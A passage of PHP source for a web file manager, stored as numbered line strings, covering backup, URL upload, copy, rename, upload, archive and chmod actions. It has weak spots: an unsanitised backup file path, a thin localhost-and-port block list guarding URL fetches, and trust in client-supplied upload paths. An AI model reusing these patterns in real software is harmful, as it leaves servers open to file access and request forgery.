json_encode(\$response);", 468 => " exit();", 469 => " }", 470 => "", 471 => " // backup files", 472 => " if (isset(\$_POST['type']) && \$_POST['type'] == \"backup\" && !empty(\$_POST['file'])) {", 473 => " \$fileName = \$_POST['file'];", 474 => " \$fullPath = FM_ROOT_PATH . '/';", 475 => " if (!empty(\$_POST['path'])) {", 476 => " \$relativeDirPath = fm_clean_path(\$_POST['path']);", 477 => " \$fullPath .= \"{\$relativeDirPath}/\";", 478 => " }", 479 => " \$date = date(\"dMy-His\");", 480 => " \$newFileName = \"{\$fileName}-{\$date}.bak\";", 481 => " \$fullyQualifiedFileName = \$fullPath . \$fileName;", 482 => " try {", 483 => " if (!file_exists(\$fullyQualifiedFileName)) {", 484 => " throw new Exception(\"File {\$fileName} not found\");", 485 => " }", 486 => " if (copy(\$fullyQualifiedFileName, \$fullPath . \$newFileName)) {", 487 => " echo \"Backup {\$newFileName} created\";", 488 => " } else {", 489 => " throw new Exception(\"Could not copy file {\$fileName}\");", 490 => " }", 491 => " } catch (Exception \$e) {", 492 => " echo \$e->getMessage();", 493 => " }", 494 => " }", 495 => "", 496 => " // Save Config", 497 => " if (isset(\$_POST['type']) && \$_POST['type'] == \"settings\") {", 498 => " global \$cfg, \$lang, \$report_errors, \$show_hidden_files, \$lang_list, \$hide_Cols, \$calc_folder, \$theme;", 499 => " \$newLng = \$_POST['js-language'];", 500 => " fm_get_translations([]);", 501 => " if (!array_key_exists(\$newLng, \$lang_list)) {", 502 => " \$newLng = 'en';", 503 => " }", 504 => "", 505 => " \$erp = isset(\$_POST['js-error-report']) && \$_POST['js-error-report'] == \"true\" ? true : false;", 506 => " \$shf = isset(\$_POST['js-show-hidden']) && \$_POST['js-show-hidden'] == \"true\" ? true : false;", 507 => " \$hco = isset(\$_POST['js-hide-cols']) && \$_POST['js-hide-cols'] == \"true\" ? true : false;", 508 => " \$caf = isset(\$_POST['js-calc-folder']) && \$_POST['js-calc-folder'] == \"true\" ? true : false;", 509 => " \$te3 = \$_POST['js-theme-3'];", 510 => "", 511 => " if (\$cfg->data['lang'] != \$newLng) {", 512 => " \$cfg->data['lang'] = \$newLng;", 513 => " \$lang = \$newLng;", 514 => " }", 515 => " if (\$cfg->data['error_reporting'] != \$erp) {", 516 => " \$cfg->data['error_reporting'] = \$erp;", 517 => " \$report_errors = \$erp;", 518 => " }", 519 => " if (\$cfg->data['show_hidden'] != \$shf) {", 520 => " \$cfg->data['show_hidden'] = \$shf;", 521 => " \$show_hidden_files = \$shf;", 522 => " }", 523 => " if (\$cfg->data['show_hidden'] != \$shf) {", 524 => " \$cfg->data['show_hidden'] = \$shf;", 525 => " \$show_hidden_files = \$shf;", 526 => " }", 527 => " if (\$cfg->data['hide_Cols'] != \$hco) {", 528 => " \$cfg->data['hide_Cols'] = \$hco;", 529 => " \$hide_Cols = \$hco;", 530 => " }", 531 => " if (\$cfg->data['calc_folder'] != \$caf) {", 532 => " \$cfg->data['calc_folder'] = \$caf;", 533 => " \$calc_folder = \$caf;", 534 => " }", 535 => " if (\$cfg->data['theme'] != \$te3) {", 536 => " \$cfg->data['theme'] = \$te3;", 537 => " \$theme = \$te3;", 538 => " }", 539 => " \$cfg->save();", 540 => " echo true;", 541 => " }", 542 => "", 543 => " // new password hash", 544 => " if (isset(\$_POST['type']) && \$_POST['type'] == \"pwdhash\") {", 545 => " \$res = isset(\$_POST['inputPassword2']) && !empty(\$_POST['inputPassword2']) ? password_hash(\$_POST['inputPassword2'], PASSWORD_DEFAULT) : '';", 546 => " echo \$res;", 547 => " }", 548 => "", 549 => " //upload using url", 550 => " if(isset(\$_POST['type']) && \$_POST['type'] == \"upload\" && !empty(\$_REQUEST[\"uploadurl\"])) {", 551 => " \$path = FM_ROOT_PATH;", 552 => " if (FM_PATH != '') {", 553 => " \$path .= '/' . FM_PATH;", 554 => " }", 555 => "", 556 => " function event_callback (\$message) {", 557 => " global \$callback;", 558 => " echo json_encode(\$message);", 559 => " }", 560 => "", 561 => " function get_file_path () {", 562 => " global \$path, \$fileinfo, \$temp_file;", 563 => " return \$path.\"/\".basename(\$fileinfo->name);", 564 => " }", 565 => "", 566 => " \$url = !empty(\$_REQUEST[\"uploadurl\"]) && preg_match(\"|^http(s)?://.+\$|\", stripslashes(\$_REQUEST[\"uploadurl\"])) ? stripslashes(\$_REQUEST[\"uploadurl\"]) : null;", 567 => "", 568 => " //prevent 127.* domain and known ports", 569 => " \$domain = parse_url(\$url, PHP_URL_HOST);", 570 => " \$port = parse_url(\$url, PHP_URL_PORT);", 571 => " \$knownPorts = [22, 23, 25, 3306];", 572 => "", 573 => " if (preg_match(\"/^localhost\$|^127(?:\\.[0-9]+){0,2}\\.[0-9]+\$|^(?:0*\\:)*?:?0*1\$/i\", \$domain) || in_array(\$port, \$knownPorts)) {", 574 => " \$err = array(\"message\" => \"URL is not allowed\");", 575 => " event_callback(array(\"fail\" => \$err));", 576 => " exit();", 577 => " }", 578 => "", 579 => " \$use_curl = false;", 580 => " \$temp_file = tempnam(sys_get_temp_dir(), \"upload-\");", 581 => " \$fileinfo = new stdClass();", 582 => " \$fileinfo->name = trim(basename(\$url), \".\\x00..\\x20\");", 583 => "", 584 => " \$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;", 585 => " \$ext = strtolower(pathinfo(\$fileinfo->name, PATHINFO_EXTENSION));", 586 => " \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 587 => "", 588 => " \$err = false;", 589 => "", 590 => " if(!\$isFileAllowed) {", 591 => " \$err = array(\"message\" => \"File extension is not allowed\");", 592 => " event_callback(array(\"fail\" => \$err));", 593 => " exit();", 594 => " }", 595 => "", 596 => " if (!\$url) {", 597 => " \$success = false;", 598 => " } else if (\$use_curl) {", 599 => " @\$fp = fopen(\$temp_file, \"w\");", 600 => " @\$ch = curl_init(\$url);", 601 => " curl_setopt(\$ch, CURLOPT_NOPROGRESS, false );", 602 => " curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, true);", 603 => " curl_setopt(\$ch, CURLOPT_FILE, \$fp);", 604 => " @\$success = curl_exec(\$ch);", 605 => " \$curl_info = curl_getinfo(\$ch);", 606 => " if (!\$success) {", 607 => " \$err = array(\"message\" => curl_error(\$ch));", 608 => " }", 609 => " @curl_close(\$ch);", 610 => " fclose(\$fp);", 611 => " \$fileinfo->size = \$curl_info[\"size_download\"];", 612 => " \$fileinfo->type = \$curl_info[\"content_type\"];", 613 => " } else {", 614 => " \$ctx = stream_context_create();", 615 => " @\$success = copy(\$url, \$temp_file, \$ctx);", 616 => " if (!\$success) {", 617 => " \$err = error_get_last();", 618 => " }", 619 => " }", 620 => "", 621 => " if (\$success) {", 622 => " \$success = rename(\$temp_file, get_file_path());", 623 => " }", 624 => "", 625 => " if (\$success) {", 626 => " event_callback(array(\"done\" => \$fileinfo));", 627 => " } else {", 628 => " unlink(\$temp_file);", 629 => " if (!\$err) {", 630 => " \$err = array(\"message\" => \"Invalid url parameter\");", 631 => " }", 632 => " event_callback(array(\"fail\" => \$err));", 633 => " }", 634 => " }", 635 => "", 636 => " exit();", 637 => "}", 638 => "", 639 => "// Delete file / folder", 640 => "if (isset(\$_GET['del']) && !FM_READONLY) {", 641 => " \$del = str_replace( '/', '', fm_clean_path( \$_GET['del'] ) );", 642 => " if (\$del != '' && \$del != '..' && \$del != '.') {", 643 => " \$path = FM_ROOT_PATH;", 644 => " if (FM_PATH != '') {", 645 => " \$path .= '/' . FM_PATH;", 646 => " }", 647 => " \$is_dir = is_dir(\$path . '/' . \$del);", 648 => " if (fm_rdelete(\$path . '/' . \$del)) {", 649 => " \$msg = \$is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');", 650 => " fm_set_msg(sprintf(\$msg, fm_enc(\$del)));", 651 => " } else {", 652 => " \$msg = \$is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');", 653 => " fm_set_msg(sprintf(\$msg, fm_enc(\$del)), 'error');", 654 => " }", 655 => " } else {", 656 => " fm_set_msg(lng('Invalid file or folder name'), 'error');", 657 => " }", 658 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 659 => "}", 660 => "", 661 => "// Create folder", 662 => "if (isset(\$_GET['new']) && isset(\$_GET['type']) && !FM_READONLY) {", 663 => " \$type = \$_GET['type'];", 664 => " \$new = str_replace( '/', '', fm_clean_path( strip_tags( \$_GET['new'] ) ) );", 665 => " if (fm_isvalid_filename(\$new) && \$new != '' && \$new != '..' && \$new != '.') {", 666 => " \$path = FM_ROOT_PATH;", 667 => " if (FM_PATH != '') {", 668 => " \$path .= '/' . FM_PATH;", 669 => " }", 670 => " if (\$_GET['type'] == \"file\") {", 671 => " if (!file_exists(\$path . '/' . \$new)) {", 672 => " if(fm_is_valid_ext(\$new)) {", 673 => " @fopen(\$path . '/' . \$new, 'w') or die('Cannot open file: ' . \$new);", 674 => " fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc(\$new)));", 675 => " } else {", 676 => " fm_set_msg(lng('File extension is not allowed'), 'error');", 677 => " }", 678 => " } else {", 679 => " fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc(\$new)), 'alert');", 680 => " }", 681 => " } else {", 682 => " if (fm_mkdir(\$path . '/' . \$new, false) === true) {", 683 => " fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), \$new));", 684 => " } elseif (fm_mkdir(\$path . '/' . \$new, false) === \$path . '/' . \$new) {", 685 => " fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc(\$new)), 'alert');", 686 => " } else {", 687 => " fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc(\$new)), 'error');", 688 => " }", 689 => " }", 690 => " } else {", 691 => " fm_set_msg(lng('Invalid characters in file or folder name'), 'error');", 692 => " }", 693 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 694 => "}", 695 => "", 696 => "// Copy folder / file", 697 => "if (isset(\$_GET['copy'], \$_GET['finish']) && !FM_READONLY) {", 698 => " // from", 699 => " \$copy = \$_GET['copy'];", 700 => " \$copy = fm_clean_path(\$copy);", 701 => " // empty path", 702 => " if (\$copy == '') {", 703 => " fm_set_msg(lng('Source path not defined'), 'error');", 704 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 705 => " }", 706 => " // abs path from", 707 => " \$from = FM_ROOT_PATH . '/' . \$copy;", 708 => " // abs path to", 709 => " \$dest = FM_ROOT_PATH;", 710 => " if (FM_PATH != '') {", 711 => " \$dest .= '/' . FM_PATH;", 712 => " }", 713 => " \$dest .= '/' . basename(\$from);", 714 => " // move?", 715 => " \$move = isset(\$_GET['move']);", 716 => " // copy/move/duplicate", 717 => " if (\$from != \$dest) {", 718 => " \$msg_from = trim(FM_PATH . '/' . basename(\$from), '/');", 719 => " if (\$move) { // Move and to != from so just perform move", 720 => " \$rename = fm_rename(\$from, \$dest);", 721 => " if (\$rename) {", 722 => " fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)));", 723 => " } elseif (\$rename === null) {", 724 => " fm_set_msg(lng('File or folder with this path already exists'), 'alert');", 725 => " } else {", 726 => " fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)), 'error');", 727 => " }", 728 => " } else { // Not move and to != from so copy with original name", 729 => " if (fm_rcopy(\$from, \$dest)) {", 730 => " fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)));", 731 => " } else {", 732 => " fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)), 'error');", 733 => " }", 734 => " }", 735 => " } else {", 736 => " if (!\$move){ //Not move and to = from so duplicate", 737 => " \$msg_from = trim(FM_PATH . '/' . basename(\$from), '/');", 738 => " \$fn_parts = pathinfo(\$from);", 739 => " \$extension_suffix = '';", 740 => " if(!is_dir(\$from)){", 741 => " \$extension_suffix = '.'.\$fn_parts['extension'];", 742 => " }", 743 => " //Create new name for duplicate", 744 => " \$fn_duplicate = \$fn_parts['dirname'].'/'.\$fn_parts['filename'].'-'.date('YmdHis').\$extension_suffix;", 745 => " \$loop_count = 0;", 746 => " \$max_loop = 1000;", 747 => " // Check if a file with the duplicate name already exists, if so, make new name (edge case...)", 748 => " while(file_exists(\$fn_duplicate) & \$loop_count < \$max_loop){", 749 => " \$fn_parts = pathinfo(\$fn_duplicate);", 750 => " \$fn_duplicate = \$fn_parts['dirname'].'/'.\$fn_parts['filename'].'-copy'.\$extension_suffix;", 751 => " \$loop_count++;", 752 => " }", 753 => " if (fm_rcopy(\$from, \$fn_duplicate, False)) {", 754 => " fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc(\$copy), fm_enc(\$fn_duplicate)));", 755 => " } else {", 756 => " fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc(\$copy), fm_enc(\$fn_duplicate)), 'error');", 757 => " }", 758 => " }", 759 => " else{", 760 => " fm_set_msg(lng('Paths must be not equal'), 'alert');", 761 => " }", 762 => " }", 763 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 764 => "}", 765 => "", 766 => "// Mass copy files/ folders", 767 => "if (isset(\$_POST['file'], \$_POST['copy_to'], \$_POST['finish']) && !FM_READONLY) {", 768 => " // from", 769 => " \$path = FM_ROOT_PATH;", 770 => " if (FM_PATH != '') {", 771 => " \$path .= '/' . FM_PATH;", 772 => " }", 773 => " // to", 774 => " \$copy_to_path = FM_ROOT_PATH;", 775 => " \$copy_to = fm_clean_path(\$_POST['copy_to']);", 776 => " if (\$copy_to != '') {", 777 => " \$copy_to_path .= '/' . \$copy_to;", 778 => " }", 779 => " if (\$path == \$copy_to_path) {", 780 => " fm_set_msg(lng('Paths must be not equal'), 'alert');", 781 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 782 => " }", 783 => " if (!is_dir(\$copy_to_path)) {", 784 => " if (!fm_mkdir(\$copy_to_path, true)) {", 785 => " fm_set_msg('Unable to create destination folder', 'error');", 786 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 787 => " }", 788 => " }", 789 => " // move?", 790 => " \$move = isset(\$_POST['move']);", 791 => " // copy/move", 792 => " \$errors = 0;", 793 => " \$files = \$_POST['file'];", 794 => " if (is_array(\$files) && count(\$files)) {", 795 => " foreach (\$files as \$f) {", 796 => " if (\$f != '') {", 797 => " // abs path from", 798 => " \$from = \$path . '/' . \$f;", 799 => " // abs path to", 800 => " \$dest = \$copy_to_path . '/' . \$f;", 801 => " // do", 802 => " if (\$move) {", 803 => " \$rename = fm_rename(\$from, \$dest);", 804 => " if (\$rename === false) {", 805 => " \$errors++;", 806 => " }", 807 => " } else {", 808 => " if (!fm_rcopy(\$from, \$dest)) {", 809 => " \$errors++;", 810 => " }", 811 => " }", 812 => " }", 813 => " }", 814 => " if (\$errors == 0) {", 815 => " \$msg = \$move ? 'Selected files and folders moved' : 'Selected files and folders copied';", 816 => " fm_set_msg(\$msg);", 817 => " } else {", 818 => " \$msg = \$move ? 'Error while moving items' : 'Error while copying items';", 819 => " fm_set_msg(\$msg, 'error');", 820 => " }", 821 => " } else {", 822 => " fm_set_msg(lng('Nothing selected'), 'alert');", 823 => " }", 824 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 825 => "}", 826 => "", 827 => "// Rename", 828 => "if (isset(\$_GET['ren'], \$_GET['to']) && !FM_READONLY) {", 829 => " // old name", 830 => " \$old = \$_GET['ren'];", 831 => " \$old = fm_clean_path(\$old);", 832 => " \$old = str_replace('/', '', \$old);", 833 => " // new name", 834 => " \$new = \$_GET['to'];", 835 => " \$new = fm_clean_path(strip_tags(\$new));", 836 => " \$new = str_replace('/', '', \$new);", 837 => " // path", 838 => " \$path = FM_ROOT_PATH;", 839 => " if (FM_PATH != '') {", 840 => " \$path .= '/' . FM_PATH;", 841 => " }", 842 => " // rename", 843 => " if (fm_isvalid_filename(\$new) && \$old != '' && \$new != '') {", 844 => " if (fm_rename(\$path . '/' . \$old, \$path . '/' . \$new)) {", 845 => " fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc(\$old), fm_enc(\$new)));", 846 => " } else {", 847 => " fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc(\$old), fm_enc(\$new)), 'error');", 848 => " }", 849 => " } else {", 850 => " fm_set_msg(lng('Invalid characters in file name'), 'error');", 851 => " }", 852 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 853 => "}", 854 => "", 855 => "// Download", 856 => "if (isset(\$_GET['dl'])) {", 857 => " \$dl = \$_GET['dl'];", 858 => " \$dl = fm_clean_path(\$dl);", 859 => " \$dl = str_replace('/', '', \$dl);", 860 => " \$path = FM_ROOT_PATH;", 861 => " if (FM_PATH != '') {", 862 => " \$path .= '/' . FM_PATH;", 863 => " }", 864 => " if (\$dl != '' && is_file(\$path . '/' . \$dl)) {", 865 => " fm_download_file(\$path . '/' . \$dl, \$dl, 1024);", 866 => " exit;", 867 => " } else {", 868 => " fm_set_msg(lng('File not found'), 'error');", 869 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 870 => " }", 871 => "}", 872 => "", 873 => "// Upload", 874 => "if (!empty(\$_FILES) && !FM_READONLY) {", 875 => " \$override_file_name = false;", 876 => " \$chunkIndex = \$_POST['dzchunkindex'];", 877 => " \$chunkTotal = \$_POST['dztotalchunkcount'];", 878 => "", 879 => " \$f = \$_FILES;", 880 => " \$path = FM_ROOT_PATH;", 881 => " \$ds = DIRECTORY_SEPARATOR;", 882 => " if (FM_PATH != '') {", 883 => " \$path .= '/' . FM_PATH;", 884 => " }", 885 => "", 886 => " \$errors = 0;", 887 => " \$uploads = 0;", 888 => " \$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;", 889 => " \$response = array (", 890 => " 'status' => 'error',", 891 => " 'info' => 'Oops! Try again'", 892 => " );", 893 => "", 894 => " \$filename = \$f['file']['name'];", 895 => " \$tmp_name = \$f['file']['tmp_name'];", 896 => " \$ext = pathinfo(\$filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo(\$filename, PATHINFO_EXTENSION)) : '';", 897 => " \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 898 => "", 899 => " if(!fm_isvalid_filename(\$filename) && !fm_isvalid_filename(\$_REQUEST['fullpath'])) {", 900 => " \$response = array (", 901 => " 'status' => 'error',", 902 => " 'info' => \"Invalid File name!\",", 903 => " );", 904 => " echo json_encode(\$response); exit();", 905 => " }", 906 => "", 907 => " \$targetPath = \$path . \$ds;", 908 => " if ( is_writable(\$targetPath) ) {", 909 => " \$fullPath = \$path . '/' . basename(\$_REQUEST['fullpath']);", 910 => " \$folder = substr(\$fullPath, 0, strrpos(\$fullPath, \"/\"));", 911 => "", 912 => " if(file_exists (\$fullPath) && !\$override_file_name && !\$chunks) {", 913 => " \$ext_1 = \$ext ? '.'.\$ext : '';", 914 => " \$fullPath = \$path . '/' . basename(\$_REQUEST['fullpath'], \$ext_1) .'_'. date('ymdHis'). \$ext_1;", 915 => " }", 916 => "", 917 => " if (!is_dir(\$folder)) {", 918 => " \$old = umask(0);", 919 => " mkdir(\$folder, 0777, true);", 920 => " umask(\$old);", 921 => " }", 922 => "", 923 => "", 924 => "", 925 => " if (empty(\$f['file']['error']) && !empty(\$tmp_name) && \$tmp_name != 'none' && \$isFileAllowed) {", 926 => " if (\$chunkTotal){", 927 => " \$out = @fopen(\"{\$fullPath}.part\", \$chunkIndex == 0 ? \"wb\" : \"ab\");", 928 => " if (\$out) {", 929 => " \$in = @fopen(\$tmp_name, \"rb\");", 930 => " if (\$in) {", 931 => " while (\$buff = fread(\$in, 4096)) { fwrite(\$out, \$buff); }", 932 => " } else {", 933 => " \$response = array (", 934 => " 'status' => 'error',", 935 => " 'info' => \"failed to open output stream\"", 936 => " );", 937 => " }", 938 => " @fclose(\$in);", 939 => " @fclose(\$out);", 940 => " @unlink(\$tmp_name);", 941 => "", 942 => " \$response = array (", 943 => " 'status' => 'success',", 944 => " 'info' => \"file upload successful\",", 945 => " 'fullPath' => \$fullPath", 946 => " );", 947 => " } else {", 948 => " \$response = array (", 949 => " 'status' => 'error',", 950 => " 'info' => \"failed to open output stream\"", 951 => " );", 952 => " }", 953 => "", 954 => "", 955 => "", 956 => " if (\$chunkIndex == \$chunkTotal - 1) {", 957 => " rename(\"{\$fullPath}.part\", \$fullPath);", 958 => " }", 959 => "", 960 => " } else if (move_uploaded_file(\$tmp_name, \$fullPath)) {", 961 => " // Be sure that the file has been uploaded", 962 => " if ( file_exists(\$fullPath) ) {", 963 => " \$response = array (", 964 => " 'status' => 'success',", 965 => " 'info' => \"file upload successful\"", 966 => " );", 967 => " } else {", 968 => " \$response = array (", 969 => " 'status' => 'error',", 970 => " 'info' => 'Couldn\\'t upload the requested file.'", 971 => " );", 972 => " }", 973 => " } else {", 974 => " \$response = array (", 975 => " 'status' => 'error',", 976 => " 'info' => \"Error while uploading files. Uploaded files \$uploads\",", 977 => " );", 978 => " }", 979 => " }", 980 => " } else {", 981 => " \$response = array (", 982 => " 'status' => 'error',", 983 => " 'info' => 'The specified folder for upload isn\\'t writeable.'", 984 => " );", 985 => " }", 986 => " // Return the response", 987 => " echo json_encode(\$response);", 988 => " exit();", 989 => "}", 990 => "", 991 => "// Mass deleting", 992 => "if (isset(\$_POST['group'], \$_POST['delete']) && !FM_READONLY) {", 993 => " \$path = FM_ROOT_PATH;", 994 => " if (FM_PATH != '') {", 995 => " \$path .= '/' . FM_PATH;", 996 => " }", 997 => "", 998 => " \$errors = 0;", 999 => " \$files = \$_POST['file'];", 1000 => " if (is_array(\$files) && count(\$files)) {", 1001 => " foreach (\$files as \$f) {", 1002 => " if (\$f != '') {", 1003 => " \$new_path = \$path . '/' . \$f;", 1004 => " if (!fm_rdelete(\$new_path)) {", 1005 => " \$errors++;", 1006 => " }", 1007 => " }", 1008 => " }", 1009 => " if (\$errors == 0) {", 1010 => " fm_set_msg(lng('Selected files and folder deleted'));", 1011 => " } else {", 1012 => " fm_set_msg(lng('Error while deleting items'), 'error');", 1013 => " }", 1014 => " } else {", 1015 => " fm_set_msg(lng('Nothing selected'), 'alert');", 1016 => " }", 1017 => "", 1018 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1019 => "}", 1020 => "", 1021 => "// Pack files", 1022 => "if (isset(\$_POST['group']) && (isset(\$_POST['zip']) || isset(\$_POST['tar'])) && !FM_READONLY) {", 1023 => " \$path = FM_ROOT_PATH;", 1024 => " \$ext = 'zip';", 1025 => " if (FM_PATH != '') {", 1026 => " \$path .= '/' . FM_PATH;", 1027 => " }", 1028 => "", 1029 => " //set pack type", 1030 => " \$ext = isset(\$_POST['tar']) ? 'tar' : 'zip';", 1031 => "", 1032 => "", 1033 => " if ((\$ext == \"zip\" && !class_exists('ZipArchive')) || (\$ext == \"tar\" && !class_exists('PharData'))) {", 1034 => " fm_set_msg(lng('Operations with archives are not available'), 'error');", 1035 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1036 => " }", 1037 => "", 1038 => " \$files = \$_POST['file'];", 1039 => " if (!empty(\$files)) {", 1040 => " chdir(\$path);", 1041 => "", 1042 => " if (count(\$files) == 1) {", 1043 => " \$one_file = reset(\$files);", 1044 => " \$one_file = basename(\$one_file);", 1045 => " \$zipname = \$one_file . '_' . date('ymd_His') . '.'.\$ext;", 1046 => " } else {", 1047 => " \$zipname = 'archive_' . date('ymd_His') . '.'.\$ext;", 1048 => " }", 1049 => "", 1050 => " if(\$ext == 'zip') {", 1051 => " \$zipper = new FM_Zipper();", 1052 => " \$res = \$zipper->create(\$zipname, \$files);", 1053 => " } elseif (\$ext == 'tar') {", 1054 => " \$tar = new FM_Zipper_Tar();", 1055 => " \$res = \$tar->create(\$zipname, \$files);", 1056 => " }", 1057 => "", 1058 => " if (\$res) {", 1059 => " fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc(\$zipname)));", 1060 => " } else {", 1061 => " fm_set_msg(lng('Archive not created'), 'error');", 1062 => " }", 1063 => " } else {", 1064 => " fm_set_msg(lng('Nothing selected'), 'alert');", 1065 => " }", 1066 => "", 1067 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1068 => "}", 1069 => "", 1070 => "// Unpack", 1071 => "if (isset(\$_GET['unzip']) && !FM_READONLY) {", 1072 => " \$unzip = \$_GET['unzip'];", 1073 => " \$unzip = fm_clean_path(\$unzip);", 1074 => " \$unzip = str_replace('/', '', \$unzip);", 1075 => " \$isValid = false;", 1076 => "", 1077 => " \$path = FM_ROOT_PATH;", 1078 => " if (FM_PATH != '') {", 1079 => " \$path .= '/' . FM_PATH;", 1080 => " }", 1081 => "", 1082 => " if (\$unzip != '' && is_file(\$path . '/' . \$unzip)) {", 1083 => " \$zip_path = \$path . '/' . \$unzip;", 1084 => " \$ext = pathinfo(\$zip_path, PATHINFO_EXTENSION);", 1085 => " \$isValid = true;", 1086 => " } else {", 1087 => " fm_set_msg(lng('File not found'), 'error');", 1088 => " }", 1089 => "", 1090 => "", 1091 => " if ((\$ext == \"zip\" && !class_exists('ZipArchive')) || (\$ext == \"tar\" && !class_exists('PharData'))) {", 1092 => " fm_set_msg(lng('Operations with archives are not available'), 'error');", 1093 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1094 => " }", 1095 => "", 1096 => " if (\$isValid) {", 1097 => " //to folder", 1098 => " \$tofolder = '';", 1099 => " if (isset(\$_GET['tofolder'])) {", 1100 => " \$tofolder = pathinfo(\$zip_path, PATHINFO_FILENAME);", 1101 => " if (fm_mkdir(\$path . '/' . \$tofolder, true)) {", 1102 => " \$path .= '/' . \$tofolder;", 1103 => " }", 1104 => " }", 1105 => "", 1106 => " if(\$ext == \"zip\") {", 1107 => " \$zipper = new FM_Zipper();", 1108 => " \$res = \$zipper->unzip(\$zip_path, \$path);", 1109 => " } elseif (\$ext == \"tar\") {", 1110 => " try {", 1111 => " \$gzipper = new PharData(\$zip_path);", 1112 => " if (@\$gzipper->extractTo(\$path,null, true)) {", 1113 => " \$res = true;", 1114 => " } else {", 1115 => " \$res = false;", 1116 => " }", 1117 => " } catch (Exception \$e) {", 1118 => " //TODO:: need to handle the error", 1119 => " \$res = true;", 1120 => " }", 1121 => " }", 1122 => "", 1123 => " if (\$res) {", 1124 => " fm_set_msg(lng('Archive unpacked'));", 1125 => " } else {", 1126 => " fm_set_msg(lng('Archive not unpacked'), 'error');", 1127 => " }", 1128 => "", 1129 => " } else {", 1130 => " fm_set_msg(lng('File not found'), 'error');", 1131 => " }", 1132 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1133 => "}", 1134 => "", 1135 => "// Change Perms (not for Windows)", 1136 => "if (isset(\$_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {", 1137 => " \$path = FM_ROOT_PATH;", 1138 => " if (FM_PATH != '') {", 1139 => " \$path .= '/' . FM_PATH;", 1140 => " }", 1141 => "", 1142 => " \$file = \$_POST['chmod'];", 1143 => " \$file = fm_clean_path(\$file);", 1144 => " \$file = str_replace('/', '', \$file);", 1145 => " if (\$file == '' || (!is_file(\$path . '/' . \$file) && !is_dir(\$path . '/' . \$file))) {", 1146 => " fm_set_msg(lng('File not found'), 'error');", 1147 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1148 => " }", 1149 => "", 1150 => " \$mode = 0;", 1151 => " if (!empty(\$_POST['ur'])) {", 1152 => " \$mode |= 0400;", 1153 => " }", 1154 => " if (!empty(\$_POST['uw'])) {", 1155 => " \$mode |= 0200;", 1156 => " }", 1157 => " if (!empty(\$_POST['ux'])) {", 1158 => " \$mode |= 0100;", 1159 => " }", 1160 => " if (!empty(\$_POST['gr'])) {", 1161 => " \$mode |= 0040;", 1162 => " }", 1163 => " if (!empty(\$_POST['gw'])) {", 1164 => " \$mode |= 0020;", 1165 => " }", 1166 => " if (!empty(\$_POST['gx'])) {", 1167 => " \$mode |= 0010;", 1168 => " }", 1169 => " if (!empty(\$_POST['or'])) {", 1170 => " \$mode |= 0004;", 1171 => " }", 1172 => " if (!empty(\$_POST['ow'])) {", 1173 => " \$mode |= 0002;", 1174 => " }", 1175 => " if (!empty(\$_POST['ox'])) {", 1176 => " \$mode |= 0001;", 1177 => " }", 1178 => "", 1179 => " if (@chmod(\$path . '/' . \$file, \$mode)) {", 1180 => " fm_set_msg(lng('Permissions changed'));", 1181 => " } else {", 1182 => " fm_set_msg(lng('Permissions not changed'), 'error');", 1183 => " }", 1184 => "", 1185 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1186 => "}", 1187 => "", 1188 => "/*************************** /ACTIONS ***************************/", 1189 => "", 1190 => "// get current path", 1191 => "\$path = FM_ROOT_PATH;", 1192 => "if (FM_PATH != '') {", 1193 => " \$path .= '/' . FM_PATH;", 1194 => "}", 1195 => "", 1196 